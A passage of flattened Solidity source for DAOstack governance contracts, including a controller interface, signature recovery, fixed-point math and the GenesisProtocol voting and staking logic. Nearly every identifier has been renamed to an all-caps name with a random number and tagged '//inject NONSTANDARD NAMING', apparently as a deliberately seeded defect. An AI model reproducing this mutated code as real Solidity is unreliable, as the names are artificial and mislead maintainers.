returns(bool); //inject NONSTANDARD NAMING function WHEN422() public returns(CallPhase); //inject NONSTANDARD NAMING } // File: contracts/controller/ControllerInterface.sol pragma solidity ^0.5.4; interface ControllerInterface { function MINTREPUTATION981(uint256 _amount, address _to, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function BURNREPUTATION898(uint256 _amount, address _from, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function MINTTOKENS758(uint256 _amount, address _beneficiary, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function REGISTERSCHEME37(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function UNREGISTERSCHEME785(address _scheme, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function UNREGISTERSELF96(address _avatar) external returns(bool); //inject NONSTANDARD NAMING function ADDGLOBALCONSTRAINT638(address _globalConstraint, bytes32 _params, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function REMOVEGLOBALCONSTRAINT28 (address _globalConstraint, address _avatar) //inject NONSTANDARD NAMING external returns(bool); function UPGRADECONTROLLER721(address _newController, Avatar _avatar) //inject NONSTANDARD NAMING external returns(bool); function GENERICCALL327(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value) //inject NONSTANDARD NAMING external returns(bool, bytes memory); function SENDETHER177(uint256 _amountInWei, address payable _to, Avatar _avatar) //inject NONSTANDARD NAMING external returns(bool); function EXTERNALTOKENTRANSFER167(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar) //inject NONSTANDARD NAMING external returns(bool); function EXTERNALTOKENTRANSFERFROM421( //inject NONSTANDARD NAMING IERC20 _externalToken, address _from, address _to, uint256 _value, Avatar _avatar) external returns(bool); function EXTERNALTOKENAPPROVAL190(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar) //inject NONSTANDARD NAMING external returns(bool); function METADATA450(string calldata _metaData, Avatar _avatar) external returns(bool); //inject NONSTANDARD NAMING function GETNATIVEREPUTATION762(address _avatar) //inject NONSTANDARD NAMING external view returns(address); function ISSCHEMEREGISTERED658( address _scheme, address _avatar) external view returns(bool); //inject NONSTANDARD NAMING function GETSCHEMEPARAMETERS578(address _scheme, address _avatar) external view returns(bytes32); //inject NONSTANDARD NAMING function GETGLOBALCONSTRAINTPARAMETERS702(address _globalConstraint, address _avatar) external view returns(bytes32); //inject NONSTANDARD NAMING function GETSCHEMEPERMISSIONS800(address _scheme, address _avatar) external view returns(bytes4); //inject NONSTANDARD NAMING function GLOBALCONSTRAINTSCOUNT83(address _avatar) external view returns(uint, uint); //inject NONSTANDARD NAMING function ISGLOBALCONSTRAINTREGISTERED605(address _globalConstraint, address _avatar) external view returns(bool); //inject NONSTANDARD NAMING } // File: contracts/universalSchemes/UniversalScheme.sol pragma solidity ^0.5.4; contract UniversalScheme is UniversalSchemeInterface { function GETPARAMETERSFROMCONTROLLER560(Avatar _avatar) internal view returns(bytes32) { //inject NONSTANDARD NAMING require(ControllerInterface(_avatar.OWNER574()).ISSCHEMEREGISTERED658(address(this), address(_avatar)), "scheme is not registered"); return ControllerInterface(_avatar.OWNER574()).GETSCHEMEPARAMETERS578(address(this), address(_avatar)); } } // File: openzeppelin-solidity/contracts/cryptography/ECDSA.sol pragma solidity ^0.5.2; library ECDSA { function RECOVER336(bytes32 hash, bytes memory signature) internal pure returns (address) { //inject NONSTANDARD NAMING // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n 1 2 + 1, and for v in (282): v 1 {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } function TOETHSIGNEDMESSAGEHASH747(bytes32 hash) internal pure returns (bytes32) { //inject NONSTANDARD NAMING // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: @daostack/infra/contracts/libs/RealMath.sol pragma solidity ^0.5.4; library RealMath { uint256 constant private real_bits978 = 256; //inject NONSTANDARD NAMING uint256 constant private real_fbits102 = 40; //inject NONSTANDARD NAMING uint256 constant private real_one722 = uint256(1) << real_fbits102; //inject NONSTANDARD NAMING function POW948(uint256 realBase, uint256 exponent) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 tempRealBase = realBase; uint256 tempExponent = exponent; // Start with the 0th power uint256 realResult = real_one722; while (tempExponent != 0) { // While there are still bits set if ((tempExponent & 0x1) == 0x1) { // If the low bit is set, multiply in the (many-times-squared) base realResult = MUL295(realResult, tempRealBase); } // Shift off the low bit tempExponent = tempExponent >> 1; if (tempExponent != 0) { // Do the squaring tempRealBase = MUL295(tempRealBase, tempRealBase); } } // Return the final result. return realResult; } function FRACTION401(uint216 numerator, uint216 denominator) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV1(uint256(numerator) * real_one722, uint256(denominator) * real_one722); } function MUL295(uint256 realA, uint256 realB) private pure returns (uint256) { //inject NONSTANDARD NAMING // When multiplying fixed point in x.y and z.w formats we get (x+z).(y+w) format. // So we just have to clip off the extra REAL_FBITS fractional bits. uint256 res = realA * realB; require(res/realA == realB, "RealMath mul overflow"); return (res >> real_fbits102); } function DIV1(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) { //inject NONSTANDARD NAMING // We use the reverse of the multiplication trick: convert numerator from // x.y to (x+z).(y+w) fixed point, then divide by denom in z.w fixed point. return uint256((uint256(realNumerator) * real_one722) / uint256(realDenominator)); } } // File: @daostack/infra/contracts/votingMachines/ProposalExecuteInterface.sol pragma solidity ^0.5.4; interface ProposalExecuteInterface { function EXECUTEPROPOSAL422(bytes32 _proposalId, int _decision) external returns(bool); //inject NONSTANDARD NAMING } // File: openzeppelin-solidity/contracts/math/Math.sol pragma solidity ^0.5.2; library Math { function MAX135(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return a >= b ? a : b; } function MIN317(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return a < b ? a : b; } function AVERAGE86(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @daostack/infra/contracts/votingMachines/GenesisProtocolLogic.sol pragma solidity ^0.5.4; contract GenesisProtocolLogic is IntVoteInterface { using SafeMath for uint256; using Math for uint256; using RealMath for uint216; using RealMath for uint256; using Address for address; enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod} enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed} //Organization's parameters struct Parameters { uint256 queuedVoteRequiredPercentage; // the absolute vote percentages bar. uint256 queuedVotePeriodLimit; //the time limit for a proposal to be in an absolute voting mode. uint256 boostedVotePeriodLimit; //the time limit for a proposal to be in boost mode. uint256 preBoostedVotePeriodLimit; //the time limit for a proposal //to be in an preparation state (stable) before boosted. uint256 thresholdConst; //constant for threshold calculation . //threshold =thresholdConst ** (numberOfBoostedProposals) uint256 limitExponentValue;// an upper limit for numberOfBoostedProposals //in the threshold calculation to prevent overflow uint256 quietEndingPeriod; //quite ending period uint256 proposingRepReward;//proposer reputation reward. uint256 votersReputationLossRatio;//Unsuccessful pre booster //voters lose votersReputationLossRatio% of their reputation. uint256 minimumDaoBounty; uint256 daoBountyConst;//The DAO downstake for each proposal is calculate according to the formula //(daoBountyConst * averageBoostDownstakes)/100 . uint256 activationTime;//the point in time after which proposals can be created. //if this address is set so only this address is allowed to vote of behalf of someone else. address voteOnBehalf; } struct Voter { uint256 vote; // YES(1) ,NO(2) uint256 reputation; // amount of voter's reputation bool preBoosted; } struct Staker { uint256 vote; // YES(1) ,NO(2) uint256 amount; // amount of staker's stake uint256 amount4Bounty;// amount of staker's stake used for bounty reward calculation. } struct Proposal { bytes32 organizationId; // the organization unique identifier the proposal is target to. address callbacks; // should fulfill voting callbacks interface. ProposalState state; uint256 winningVote; //the winning vote. address proposer; //the proposal boosted period limit . it is updated for the case of quiteWindow mode. uint256 currentBoostedVotePeriodLimit; bytes32 paramsHash; uint256 daoBountyRemain; //use for checking sum zero bounty claims.it is set at the proposing time. uint256 daoBounty; uint256 totalStakes;// Total number of tokens staked which can be redeemable by stakers. uint256 confidenceThreshold; //The percentage from upper stakes which the caller for the expiration was given. uint256 expirationCallBountyPercentage; uint[3] times; //times[0] - submittedTime //times[1] - boostedPhaseTime //times[2] -preBoostedPhaseTime; bool daoRedeemItsWinnings; // vote reputation mapping(uint256 => uint256 ) votes; // vote reputation mapping(uint256 => uint256 ) preBoostedVotes; // address voter mapping(address => Voter ) voters; // vote stakes mapping(uint256 => uint256 ) stakes; // address staker mapping(address => Staker ) stakers; } event STAKE754(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _staker, uint256 _vote, uint256 _amount ); event REDEEM636(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _beneficiary, uint256 _amount ); event REDEEMDAOBOUNTY578(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _beneficiary, uint256 _amount ); event REDEEMREPUTATION314(bytes32 indexed _proposalId, //inject NONSTANDARD NAMING address indexed _organization, address indexed _beneficiary, uint256 _amount ); event STATECHANGE374(bytes32 indexed _proposalId, ProposalState _proposalState); //inject NONSTANDARD NAMING event GPEXECUTEPROPOSAL538(bytes32 indexed _proposalId, ExecutionState _executionState); //inject NONSTANDARD NAMING event EXPIRATIONCALLBOUNTY93(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount); //inject NONSTANDARD NAMING event CONFIDENCELEVELCHANGE532(bytes32 indexed _proposalId, uint256 _confidenceThreshold); //inject NONSTANDARD NAMING mapping(bytes32=>Parameters) public parameters; // A mapping from hashes to parameters mapping(bytes32=>Proposal) public proposals; // Mapping from the ID of the proposal to the proposal itself. mapping(bytes32=>uint) public orgBoostedProposalsCnt; //organizationId => organization mapping(bytes32 => address ) public organizations; //organizationId => averageBoostDownstakes mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted; uint256 constant public num_of_choices613 = 2; //inject NONSTANDARD NAMING uint256 constant public no391 = 2; //inject NONSTANDARD NAMING uint256 constant public yes596 = 1; //inject NONSTANDARD NAMING uint256 public proposalsCnt; // Total number of proposals IERC20 public stakingToken; address constant private gen_token_address929 = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf; //inject NONSTANDARD NAMING uint256 constant private max_boosted_proposals645 = 4096; //inject NONSTANDARD NAMING constructor(IERC20 _stakingToken) public { //The GEN token (staking token) address is hard coded in the contract by GEN_TOKEN_ADDRESS . //This will work for a network which already hosted the GEN token on this address (e.g mainnet). //If such contract address does not exist in the network (e.g ganache) //the contract will use the _stakingToken param as the //staking token address. if (address(gen_token_address929).ISCONTRACT51()) { stakingToken = IERC20(gen_token_address929); } else { stakingToken = _stakingToken; } } modifier VOTABLE853(bytes32 _proposalId) { //inject NONSTANDARD NAMING require(_ISVOTABLE722(_proposalId)); _; } function PROPOSE661(uint256, bytes32 _paramsHash, address _proposer, address _organization) //inject NONSTANDARD NAMING external returns(bytes32) { // solhint-disable-next-line not-rely-on-time require(now > parameters[_paramsHash].activationTime, "not active yet"); //Check parameters existence. require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50); // Generate a unique ID: bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt)); proposalsCnt = proposalsCnt.ADD15(1); // Open proposal: Proposal memory proposal; proposal.callbacks = msg.sender; proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization)); proposal.state = ProposalState.Queued; // solhint-disable-next-line not-rely-on-time proposal.times[0] = now;//submitted time proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit; proposal.proposer = _proposer; proposal.winningVote = no391; proposal.paramsHash = _paramsHash; if (organizations[proposal.organizationId] == address(0)) { if (_organization == address(0)) { organizations[proposal.organizationId] = msg.sender; } else { organizations[proposal.organizationId] = _organization; } } //calc dao bounty uint256 daoBounty = parameters[_paramsHash].daoBountyConst.MUL295(averagesDownstakesOfBoosted[proposal.organizationId]).DIV1(100); if (daoBounty < parameters[_paramsHash].minimumDaoBounty) { proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty; } else { proposal.daoBountyRemain = daoBounty; } proposal.totalStakes = proposal.daoBountyRemain; proposals[proposalId] = proposal; proposals[proposalId].stakes[no391] = proposal.daoBountyRemain;//dao downstake on the proposal emit NEWPROPOSAL588(proposalId, organizations[proposal.organizationId], num_of_choices613, _proposer, _paramsHash); return proposalId; } function EXECUTEBOOSTED17(bytes32 _proposalId) external returns(uint256 expirationCallBounty) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod, "proposal state in not Boosted nor QuietEndingPeriod"); require(_EXECUTE501(_proposalId), "proposal need to expire"); uint256 expirationCallBountyPercentage = // solhint-disable-next-line not-rely-on-time (uint(1).ADD15(now.SUB141(proposal.currentBoostedVotePeriodLimit.ADD15(proposal.times[1])).DIV1(15))); if (expirationCallBountyPercentage > 100) { expirationCallBountyPercentage = 100; } proposal.expirationCallBountyPercentage = expirationCallBountyPercentage; expirationCallBounty = expirationCallBountyPercentage.MUL295(proposal.stakes[yes596]).DIV1(100); require(stakingToken.TRANSFER985(msg.sender, expirationCallBounty), "transfer to msg.sender failed"); emit EXPIRATIONCALLBOUNTY93(_proposalId, msg.sender, expirationCallBounty); } function SETPARAMETERS600( //inject NONSTANDARD NAMING uint[11] calldata _params, //use array here due to stack too deep issue. address _voteOnBehalf ) external returns(bytes32) { require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100"); require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000"); require(_params[7] <= 100, "votersReputationLossRatio <= 100"); require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod"); require(_params[8] > 0, "minimumDaoBounty should be > 0"); require(_params[9] > 0, "daoBountyConst should be > 0"); bytes32 paramsHash = GETPARAMETERSHASH529(_params, _voteOnBehalf); //set a limit for power for a given alpha to prevent overflow uint256 limitExponent = 172;//for alpha less or equal 2 uint256 j = 2; for (uint256 i = 2000; i < 16000; i = i*2) { if ((_params[4] > i) && (_params[4] <= i*2)) { limitExponent = limitExponent/j; break; } j++; } parameters[paramsHash] = Parameters({ queuedVoteRequiredPercentage: _params[0], queuedVotePeriodLimit: _params[1], boostedVotePeriodLimit: _params[2], preBoostedVotePeriodLimit: _params[3], thresholdConst:uint216(_params[4]).FRACTION401(uint216(1000)), limitExponentValue:limitExponent, quietEndingPeriod: _params[5], proposingRepReward: _params[6], votersReputationLossRatio:_params[7], minimumDaoBounty:_params[8], daoBountyConst:_params[9], activationTime:_params[10], voteOnBehalf:_voteOnBehalf }); return paramsHash; } // solhint-disable-next-line function-max-lines,code-complexity function REDEEM641(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue), "Proposal should be Executed or ExpiredInQueue"); Parameters memory params = parameters[proposal.paramsHash]; uint256 lostReputation; if (proposal.winningVote == yes596) { lostReputation = proposal.preBoostedVotes[no391]; } else { lostReputation = proposal.preBoostedVotes[yes596]; } lostReputation = (lostReputation.MUL295(params.votersReputationLossRatio))/100; //as staker Staker storage staker = proposal.stakers[_beneficiary]; uint256 totalStakes = proposal.stakes[no391].ADD15(proposal.stakes[yes596]); uint256 totalWinningStakes = proposal.stakes[proposal.winningVote]; if (staker.amount > 0) { uint256 totalStakesLeftAfterCallBounty = totalStakes.SUB141(proposal.expirationCallBountyPercentage.MUL295(proposal.stakes[yes596]).DIV1(100)); if (proposal.state == ProposalState.ExpiredInQueue) { //Stakes of a proposal that expires in Queue are sent back to stakers rewards[0] = staker.amount; } else if (staker.vote == proposal.winningVote) { if (staker.vote == yes596) { if (proposal.daoBounty < totalStakesLeftAfterCallBounty) { uint256 _totalStakes = totalStakesLeftAfterCallBounty.SUB141(proposal.daoBounty); rewards[0] = (staker.amount.MUL295(_totalStakes))/totalWinningStakes; } } else { rewards[0] = (staker.amount.MUL295(totalStakesLeftAfterCallBounty))/totalWinningStakes; } } staker.amount = 0; } //dao redeem its winnings if (proposal.daoRedeemItsWinnings == false && _beneficiary == organizations[proposal.organizationId] && proposal.state != ProposalState.ExpiredInQueue && proposal.winningVote == no391) { rewards[0] = rewards[0].ADD15((proposal.daoBounty.MUL295(totalStakes))/totalWinningStakes).SUB141(proposal.daoBounty); proposal.daoRedeemItsWinnings = true; } //as voter Voter storage voter = proposal.voters[_beneficiary]; if ((voter.reputation != 0) && (voter.preBoosted)) { if (proposal.state == ProposalState.ExpiredInQueue) { //give back reputation for the voter rewards[1] = ((voter.reputation.MUL295(params.votersReputationLossRatio))/100); } else if (proposal.winningVote == voter.vote) { rewards[1] = ((voter.reputation.MUL295(params.votersReputationLossRatio))/100) .ADD15((voter.reputation.MUL295(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]); } voter.reputation = 0; } //as proposer if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == yes596)&&(proposal.proposer != address(0))) { rewards[2] = params.proposingRepReward; proposal.proposer = address(0); } if (rewards[0] != 0) { proposal.totalStakes = proposal.totalStakes.SUB141(rewards[0]); require(stakingToken.TRANSFER985(_beneficiary, rewards[0]), "transfer to beneficiary failed"); emit REDEEM636(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]); } if (rewards[1].ADD15(rewards[2]) != 0) { VotingMachineCallbacksInterface(proposal.callbacks) .MINTREPUTATION981(rewards[1].ADD15(rewards[2]), _beneficiary, _proposalId); emit REDEEMREPUTATION314( _proposalId, organizations[proposal.organizationId], _beneficiary, rewards[1].ADD15(rewards[2]) ); } } function REDEEMDAOBOUNTY8(bytes32 _proposalId, address _beneficiary) //inject NONSTANDARD NAMING public returns(uint256 redeemedAmount, uint256 potentialAmount) { Proposal storage proposal = proposals[_proposalId]; require(proposal.state == ProposalState.Executed); uint256 totalWinningStakes = proposal.stakes[proposal.winningVote]; Staker storage staker = proposal.stakers[_beneficiary]; if ( (staker.amount4Bounty > 0)&& (staker.vote == proposal.winningVote)&& (proposal.winningVote == yes596)&& (totalWinningStakes != 0)) { //as staker potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes; } if ((potentialAmount != 0)&& (VotingMachineCallbacksInterface(proposal.callbacks) .BALANCEOFSTAKINGTOKEN878(stakingToken, _proposalId) >= potentialAmount)) { staker.amount4Bounty = 0; proposal.daoBountyRemain = proposal.daoBountyRemain.SUB141(potentialAmount); require( VotingMachineCallbacksInterface(proposal.callbacks) .STAKINGTOKENTRANSFER53(stakingToken, _beneficiary, potentialAmount, _proposalId)); redeemedAmount = potentialAmount; emit REDEEMDAOBOUNTY578(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount); } } function SHOULDBOOST603(bytes32 _proposalId) public view returns(bool) { //inject NONSTANDARD NAMING Proposal memory proposal = proposals[_proposalId]; return (_SCORE635(_proposalId) > THRESHOLD53(proposal.paramsHash, proposal.organizationId)); } function THRESHOLD53(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) { //inject NONSTANDARD NAMING uint256 power = orgBoostedProposalsCnt[_organizationId]; Parameters storage params = parameters[_paramsHash]; if (power > params.limitExponentValue) { power = params.limitExponentValue; } return params.thresholdConst.POW948(power); } function GETPARAMETERSHASH529( //inject NONSTANDARD NAMING uint[11] memory _params,//use array here due to stack too deep issue. address _voteOnBehalf ) public pure returns(bytes32) { //double call to keccak256 to avoid deep stack issue when call with too many params. return keccak256( abi.encodePacked( keccak256( abi.encodePacked( _params[0], _params[1], _params[2], _params[3], _params[4], _params[5], _params[6], _params[7], _params[8], _params[9], _params[10]) ), _voteOnBehalf )); } // solhint-disable-next-line function-max-lines,code-complexity function _EXECUTE501(bytes32 _proposalId) internal VOTABLE853(_proposalId) returns(bool) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; Parameters memory params = parameters[proposal.paramsHash]; Proposal memory tmpProposal = proposal; uint256 totalReputation = VotingMachineCallbacksInterface(proposal.callbacks).GETTOTALREPUTATIONSUPPLY50(_proposalId); //first divide by 100 to prevent overflow uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage; ExecutionState executionState = ExecutionState.None; uint256 averageDownstakesOfBoosted; uint256 confidenceThreshold; if (proposal.votes[proposal.winningVote] > executionBar) { // someone crossed the absolute vote execution bar. if (proposal.state == ProposalState.Queued) { executionState = ExecutionState.QueueBarCrossed; } else if (proposal.state == ProposalState.PreBoosted) { executionState = ExecutionState.PreBoostedBarCrossed; } else { executionState = ExecutionState.BoostedBarCrossed; } proposal.state = ProposalState.Executed; } else { if (proposal.state == ProposalState.Queued) { // solhint-disable-next-line not-rely-on-time if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) { proposal.state = ProposalState.ExpiredInQueue; proposal.winningVote = no391; executionState = ExecutionState.QueueTimeOut; } else { confidenceThreshold = THRESHOLD53(proposal.paramsHash, proposal.organizationId); if (_SCORE635(_proposalId) > confidenceThreshold) { //change proposal mode to PreBoosted mode. proposal.state = ProposalState.PreBoosted; // solhint-disable-next-line not-rely-on-time proposal.times[2] = now; proposal.confidenceThreshold = confidenceThreshold; } } } if (proposal.state == ProposalState.PreBoosted) { confidenceThreshold = THRESHOLD53(proposal.paramsHash, proposal.organizationId); // solhint-disable-next-line not-rely-on-time if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) { if ((_SCORE635(_proposalId) > confidenceThreshold) && (orgBoostedProposalsCnt[proposal.organizationId] < max_boosted_proposals645)) { //change proposal mode to Boosted mode. proposal.state = ProposalState.Boosted; // solhint-disable-next-line not-rely-on-time proposal.times[1] = now; orgBoostedProposalsCnt[proposal.organizationId]++; //add a value to average -> average = average + ((value - average) / nbValues) averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId]; // solium-disable-next-line indentation averagesDownstakesOfBoosted[proposal.organizationId] = uint256(int256(averageDownstakesOfBoosted) + ((int256(proposal.stakes[no391])-int256(averageDownstakesOfBoosted))/ int256(orgBoostedProposalsCnt[proposal.organizationId]))); } } else { //check the Confidence level is stable uint256 proposalScore = _SCORE635(_proposalId); if (proposalScore <= proposal.confidenceThreshold.MIN317(confidenceThreshold)) { proposal.state = ProposalState.Queued; } else if (proposal.confidenceThreshold > proposalScore) { proposal.confidenceThreshold = confidenceThreshold; emit CONFIDENCELEVELCHANGE532(_proposalId, confidenceThreshold); } } } } if ((proposal.state == ProposalState.Boosted) || (proposal.state == ProposalState.QuietEndingPeriod)) { // solhint-disable-next-line not-rely-on-time if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) { proposal.state = ProposalState.Executed; executionState = ExecutionState.BoostedTimeOut; } } if (executionState != ExecutionState.None) { if ((executionState == ExecutionState.BoostedTimeOut) || (executionState == ExecutionState.BoostedBarCrossed)) { orgBoostedProposalsCnt[tmpProposal.organizationId] = orgBoostedProposalsCnt[tmpProposal.organizationId].SUB141(1); //remove a value from average = ((average * nbValues) - value) / (nbValues - 1); uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId]; if (boostedProposals == 0) { averagesDownstakesOfBoosted[proposal.organizationId] = 0; } else { averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId]; averagesDownstakesOfBoosted[proposal.organizationId] = (averageDownstakesOfBoosted.MUL295(boostedProposals+1).SUB141(proposal.stakes[no391]))/boostedProposals; } } emit EXECUTEPROPOSAL706( _proposalId, organizations[proposal.organizationId], proposal.winningVote, totalReputation ); emit GPEXECUTEPROPOSAL538(_proposalId, executionState); ProposalExecuteInterface(proposal.callbacks).EXECUTEPROPOSAL422(_proposalId, int(proposal.winningVote)); proposal.daoBounty = proposal.daoBountyRemain; } if (tmpProposal.state != proposal.state) { emit STATECHANGE374(_proposalId, proposal.state); } return (executionState != ExecutionState.None); } function _STAKE234(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) { //inject NONSTANDARD NAMING // 0 is not a valid vote. require(_vote <= num_of_choices613 && _vote > 0, "wrong vote value"); require(_amount > 0, "staking amount should be >0"); if (_EXECUTE501(_proposalId)) { return true; } Proposal storage proposal = proposals[_proposalId]; if ((proposal.state != ProposalState.PreBoosted) && (proposal.state != ProposalState.Queued)) { return false; } // enable to increase stake only on the previous stake vote Staker storage staker = proposal.stakers[_staker]; if ((staker.amount > 0) && (staker.vote != _vote)) { return false; } uint256 amount = _amount; require(stakingToken.TRANSFERFROM649(_staker, address(this), amount), "fail transfer from staker"); proposal.totalStakes = proposal.totalStakes.ADD15(amount); //update totalRedeemableStakes staker.amount = staker.amount.ADD15(amount); //This is to prevent average downstakes calculation overflow //Note that any how GEN cap is 100000000 ether. require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high"); require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high"); if (_vote == yes596) { staker.amount4Bounty = staker.amount4Bounty.ADD15(amount); } staker.vote = _vote; proposal.stakes[_vote] = amount.ADD15(proposal.stakes[_vote]); emit STAKE754(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount); return _EXECUTE501(_proposalId); } // solhint-disable-next-line function-max-lines,code-complexity function INTERNALVOTE757(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) { //inject NONSTANDARD NAMING require(_vote <= num_of_choices613 && _vote > 0, "0 < _vote <= 2"); if (_EXECUTE501(_proposalId)) { return true; } Parameters memory params = parameters[proposals[_proposalId].paramsHash]; Proposal storage proposal = proposals[_proposalId]; // Check voter has enough reputation: uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).REPUTATIONOF984(_voter, _proposalId); require(reputation > 0, "_voter must have reputation"); require(reputation >= _rep, "reputation >= _rep"); uint256 rep = _rep; if (rep == 0) { rep = reputation; } // If this voter has already voted, return false. if (proposal.voters[_voter].reputation != 0) { return false; } // The voting itself: proposal.votes[_vote] = rep.ADD15(proposal.votes[_vote]); //check if the current winningVote changed or there is a tie. //for the case there is a tie the current winningVote set to NO. if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) || ((proposal.votes[no391] == proposal.votes[proposal.winningVote]) && proposal.winningVote == yes596)) { if (proposal.state == ProposalState.Boosted && // solhint-disable-next-line not-rely-on-time ((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))|| proposal.state == ProposalState.QuietEndingPeriod) { //quietEndingPeriod if (proposal.state != ProposalState.QuietEndingPeriod) { proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod; proposal.state = ProposalState.QuietEndingPeriod; } // solhint-disable-next-line not-rely-on-time proposal.times[1] = now; } proposal.winningVote = _vote; } proposal.voters[_voter] = Voter({ reputation: rep, vote: _vote, preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) }); if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) { proposal.preBoostedVotes[_vote] = rep.ADD15(proposal.preBoostedVotes[_vote]); uint256 reputationDeposit = (params.votersReputationLossRatio.MUL295(rep))/100; VotingMachineCallbacksInterface(proposal.callbacks).BURNREPUTATION898(reputationDeposit, _voter, _proposalId); } emit VOTEPROPOSAL760(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep); return _EXECUTE501(_proposalId); } function _SCORE635(bytes32 _proposalId) internal view returns(uint256) { //inject NONSTANDARD NAMING Proposal storage proposal = proposals[_proposalId]; //proposal.stakes[NO] cannot be zero as the dao downstake > 0 for each proposal. return uint216(proposal.stakes[yes596]).FRACTION401(uint216(proposal.stakes[no391])); } function _ISVOTABLE722(bytes32 _proposalId) internal view returns(bool) { //inject NONSTANDARD NAMING ProposalState pState = proposals[_proposalId].state; return ((pState == ProposalState.PreBoosted)|| (pState == ProposalState.Boosted)|| (pState == ProposalState.QuietEndingPeriod)|| (pState == ProposalState.Queued) ); } } // File: @daostack/infra/contracts/votingMachines/GenesisProtocol.sol pragma solidity ^0.5.4; contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic { using ECDSA for bytes32; // Digest describing the data the user signs according EIP 712. // Needs to match what is passed to Metamask. bytes32 public constant delegation_hash_eip712291 = //inject NONSTANDARD NAMING keccak256(abi.encodePacked( "address GenesisProtocolAddress", "bytes32 ProposalId", "uint256 Vote", "uint256 